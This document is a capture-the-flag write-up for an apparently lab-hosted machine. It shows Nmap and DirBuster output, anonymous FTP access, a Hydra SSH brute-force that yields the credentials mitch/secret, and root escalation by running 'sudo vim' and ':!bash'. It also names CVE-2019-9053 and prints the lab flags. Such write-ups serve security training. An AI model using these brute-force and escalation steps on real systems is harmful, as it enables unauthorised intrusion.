Nmap

```
Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-16 20:40 CEST
Nmap scan report for 10.10.245.1
Host is up (0.059s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.8.235.205
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-robots.txt: 2 disallowed entries
|_/ /openemr-5_0_1_3
|_http-title: Apache2 Ubuntu Default Page: It works
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 29:42:69:14:9e:ca:d9:17:98:8c:27:72:3a:cd:a9:23 (RSA)
|   256 9b:d1:65:07:51:08:00:61:98:de:95:ed:3a:e3:81:1c (ECDSA)
|_  256 12:65:1b:61:cf:4d:e5:75:fe:f4:e8:d4:6e:10:2a:f6 (ED25519)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed
port
Aggressive OS guesses: Linux 3.10 - 3.13 (92%), Crestron XPanel control system (90%), ASUS
RT-N56U WAP (Linux 3.4) (87%), Linux 3.1 (87%), Linux 3.16 (87%), Linux 3.2 (87%), HP
P2000 G3 NAS device (87%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (87%), Linux
2.6.32 (86%), Linux 2.6.39 - 3.2 (86%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 53.69 seconds
```

Dirbuster

```
Starting OWASP DirBuster 1.0-RC1
```

Starting dir/file list based brute forcing
Dir found: / - 200
Dir found: /icons/ - 403
Dir found: /icons/small/ - 403
Dir found: /simple/ - 200
File found: /simple/index.php - 200
Dir found: /simple/modules/ - 200
Dir found: /simple/uploads/ - 200
Dir found: /simple/doc/ - 200
Dir found: /simple/admin/ - 302
Dir found: /simple/assets/ - 200
Dir found: /simple/uploads/images/ - 200
Dir found: /simple/assets/images/ - 200
Dir found: /simple/admin/templates/ - 200
File found: /simple/admin/index.php - 302
Dir found: /simple/admin/themes/ - 200
Dir found: /simple/assets/templates/ - 200
Dir found: /simple/modules/AdminSearch/ - 200
Dir found: /simple/assets/admin_custom/ - 200
Dir found: /simple/modules/CMSContentManager/ - 200
Dir found: /simple/assets/configs/ - 200
Dir found: /simple/modules/CMSMailer/ - 200
File found: /simple/admin/login.php - 200
Dir found: /simple/assets/css/ - 200
Dir found: /simple/modules/CmsJobManager/ - 200
Dir found: /simple/lib/ - 200
Dir found: /simple/modules/DesignManager/ - 200
Dir found: /simple/modules/News/ - 200
Dir found: /simple/assets/module_custom/ - 200
Dir found: /simple/assets/plugins/ - 200
Dir found: /simple/modules/FileManager/ - 200
Dir found: /simple/modules/FilePicker/ - 200
Dir found: /simple/modules/AdminSearch/images/ - 200
Dir found: /simple/modules/MenuManager/ - 200
Dir found: /simple/modules/CMSContentManager/images/ - 200
Dir found: /simple/modules/AdminSearch/templates/ - 200

Site is using CSM 2.2.8 which has vuln CVE-2019-9053.

The other way is to use ftp on ip address, in user dir there is “ForMitch.txt” (ftp> get ForMitch.txt) with text:

Dammit man... you'te the worst dev i've seen. You set the same pass for the system user, and the password is so weak... i cracked it in seconds. Gosh... what a mess!

Hydra

[DATA] attacking ssh://10.10.64.122:2222/
[2222][ssh] host: 10.10.64.122   login: mitch   password: secret

ssh

cat user.txt

G00d j0b, keep up!

Priv esc

sudo -l command allows user to see which commands he can run as a sudo, and the answer is **VIM**

$ sudo -l
User mitch may run the following commands on Machine:
(root) NOPASSWD: /usr/bin/vim

next is:

sudo vim

and in vim type :!bash to get root priv in shell

cat /root/root.txt

W3ll d0n3. You made it!